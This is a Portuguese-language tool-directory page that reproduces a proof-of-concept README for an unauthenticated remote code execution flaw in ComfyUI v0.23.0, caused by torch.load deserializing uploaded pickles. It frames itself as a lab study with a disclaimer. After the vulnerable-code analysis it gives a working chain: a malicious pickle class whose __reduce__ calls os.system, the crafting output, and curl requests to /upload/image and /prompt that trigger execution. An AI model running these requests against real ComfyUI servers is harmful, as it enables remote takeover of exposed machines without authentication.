Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
comfyui-CVE-2026-68771-PoC — Laboratório de pesquisa de segurança — RCE não autenticado via desserialização insegura no ComfyUI v0.23.0 (CVSS 9.8). Ambiente Docker isolado, análise técnica e documentação. | Kitploit
Ferramentas/GitHubGitHub/oscar-collado/comfyui-cve-2026-68771-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de IA
GitHuboscar-collado/comfyui-cve-2026-68771-poc

comfyui-CVE-2026-68771-PoC

Laboratório de pesquisa de segurança — RCE não autenticado via desserialização insegura no ComfyUI v0.23.0 (CVSS 9.8). Ambiente Docker isolado, análise técnica e documentação.

Ver Repositório
12há 20 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-68771 — ComfyUI: RCE Não Autenticado via Desserialização Insegura

Apenas para fins educacionais. Use somente contra sistemas que você possui ou tem autorização escrita explícita para testar.


Sobre o ComfyUI

ComfyUI é uma interface gráfica de código aberto baseada em nós para executar modelos de geração de imagens e vídeos por IA localmente. Ele permite que os usuários construam pipelines de geração complexos conectando nós visualmente — cada nó representando uma operação como carregar um modelo, codificar prompts de texto, amostragem ou pós-processamento de imagens. Sua flexibilidade e suporte a uma ampla variedade de modelos (Stable Diffusion, Flux, HunyuanVideo e outros) o tornaram uma das ferramentas mais amplamente adotadas na comunidade de geração por IA.

A aplicação expõe uma API HTTP local na porta 8188, através da qual o frontend se comunica com o backend para enviar ativos e enfileirar fluxos de trabalho de geração. Embora projetado para uso local de usuário único, é comum encontrar instâncias do ComfyUI expostas em redes internas ou diretamente na internet — em ambientes de GPU na nuvem, configurações de pesquisa compartilhadas ou estúdios criativos auto-hospedados — frequentemente sem qualquer camada adicional de autenticação, correspondendo exatamente ao modelo de ameaça que esta vulnerabilidade visa.

No momento da divulgação, o ComfyUI tinha mais de 65.000 estrelas no GitHub e um ecossistema ativo de nós personalizados e extensões, muitos dos quais introduzem superfície de ataque adicional além da aplicação principal.


Resumo Executivo

CVE-2026-68771 é uma vulnerabilidade de desserialização insegura (CWE-502) no ComfyUI v0.23.0 que permite a um atacante remoto não autenticado executar código arbitrário no servidor. A cadeia de ataque combina dois endpoints não autenticados: POST /upload/image para enviar um arquivo pickle malicioso, e POST /prompt para acionar sua desserialização através do nó LoadTrainingDataset.

CampoValor
CVECVE-2026-68771
CVSS 3.19.8 (Crítico)
VetorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-502 (Desserialização de Dados Não Confiáveis)
Versão vulnerávelComfyUI v0.23.0 (e anteriores sem a correção)
Versão corrigidaCommit 94ee49b1612824366a8631ea069b2a1fa5c73720
Publicado31 de julho de 2026

Ambiente de Laboratório

  • Plataforma: Docker (host Kali Linux)
  • Imagem base: python:3.11-slim
  • Versão do ComfyUI: v0.23.0 (checkout git exato)
  • PyTorch: 2.5.1+cpu (versão anterior à mudança padrão de weights_only)
  • Isolamento de rede: Porta publicada apenas em 127.0.0.1:8188, sem acesso à rede externa
  • Privilégios do processo: uid=0 (root)

Análise Técnica

1. Autenticação Ausente nos Endpoints da API

POST /upload/image — server.py, linhas 450-453:

@routes.post("/upload/image")
async def upload_image(request):
    post = await request.post()
    return image_upload(post)  # no session or token verification

POST /prompt — server.py, linhas 927-928:

@routes.post("/prompt")
async def post_prompt(request):
    logging.info("got prompt")
    json_data = await request.json()
    # no session or token verification
    ...
    self.prompt_queue.put((number, prompt_id, prompt, ...))

Nenhum dos endpoints implementa qualquer controle de acesso. Qualquer cliente HTTP pode enviar arquivos e enfileirar fluxos de trabalho sem autenticação.


2. A Chamada Vulnerável — LoadTrainingDataset.execute()

comfy_extras/nodes_dataset.py, linha 1568:

@classmethod
def execute(cls, folder_name):
    dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)

    shard_files = sorted([
        f for f in os.listdir(dataset_dir)
        if f.startswith("shard_") and f.endswith(".pkl")
    ])

    for shard_file in shard_files:
        shard_path = os.path.join(dataset_dir, shard_file)
        with open(shard_path, "rb") as f:
            shard_data = torch.load(f)  # ← VULNERABLE: weights_only not specified

torch.load() sem weights_only=True usa o protocolo pickle do Python para desserializar o arquivo. Pickle não é um formato de dados — é um protocolo de serialização de objetos Python que executa o método __reduce__ de qualquer objeto durante a desserialização, permitindo execução de código arbitrário.

O nó dependia do padrão histórico do PyTorch (weights_only=False), tornando-o a única chamada torch.load em toda a base de código sem o parâmetro explícito. O restante da base de código (comfy/utils.py, comfy/sd1_clip.py) já o passava corretamente.


3. Fluxo Completo do Ataque

Atacante (não autenticado)

[0] CRIAR PICKLE MALICIOSO
    └─ Serializar um objeto Python com __reduce__ retornando (os.system, ("cmd",))
    └─ O formato torch.save() do PyTorch o envolve em um contêiner .pkl válido
    └─ Saída: shard_0000.pkl — padrão de nome de arquivo válido esperado por LoadTrainingDataset
        │
        ▼
[1] POST /upload/image
    └─ Enviar shard_0000.pkl (pickle com __reduce__ malicioso)
    └─ Parâmetros: type=output, subfolder=cve_test
    └─ Resposta: 200 OK {"name":"shard_0000.pkl", ...}
    └─ Arquivo chega em: /opt/comfyui/output/cve_test/shard_0000.pkl
        │
        ▼
[2] POST /prompt
    └─ Fluxo de trabalho JSON com nó LoadTrainingDataset
    └─ folder_name: "cve_test" → aponta para a pasta contendo o .pkl enviado
    └─ Resposta: 200 OK {"prompt_id": "...", "node_errors": {}}
        │
        ▼
[3] LoadTrainingDataset.execute()
    └─ Localiza shard_0000.pkl no diretório
    └─ torch.load(f) → desserializa o pickle
    └─ __reduce__ executa: os.system("id > /tmp/pwned.txt")
        │
        ▼
[4] RCE como root
    └─ uid=0(root) gid=0(root) groups=0(root)

Evidências de Prova de Conceito (laboratório)

Criando o Pickle Malicioso

O payload explora o protocolo reduce do pickle do Python. Quando torch.load() desserializa o arquivo, o Python instancia o objeto chamando o callable retornado por reduce, executando o comando controlado pelo atacante antes que qualquer lógica da aplicação seja executada.

O nome do arquivo deve corresponder ao padrão shard_*.pkl — codificado em LoadTrainingDataset.execute() como o filtro de descoberta de arquivos:

shard_files = sorted([
    f for f in os.listdir(dataset_dir)
    if f.startswith("shard_") and f.endswith(".pkl")
])

pickle_craft.py:

class Exploit:
    def __reduce__(self):
        return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"

Saída:

[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image

Vetor 1 — Upload de Arquivo Não Autenticado

curl -s -X POST http://127.0.0.1:8188/upload/image \
  -F "image=@shard_0000.pkl;type=application/octet-stream" \
  -F "type=output" \
  -F "subfolder=cve_test"

Resposta:

{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}

HTTP 200 sem token, sem sessão, sem cabeçalhos especiais.


Vetor 2 — Execução de Fluxo de Trabalho Não Autenticada

curl -s -X POST http://127.0.0.1:8188/prompt \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": {
      "1": {
        "class_type": "LoadTrainingDataset",
        "inputs": { "folder_name": "cve_test" }
      },
      "2": {
        "class_type": "SaveTrainingDataset",
        "inputs": {
          "latents": ["1", 0],
          "conditioning": ["1", 1],
          "folder_name": "cve_test_out",
          "shard_size": 1000
        }
      }
    }
  }'
Baixar ferramenta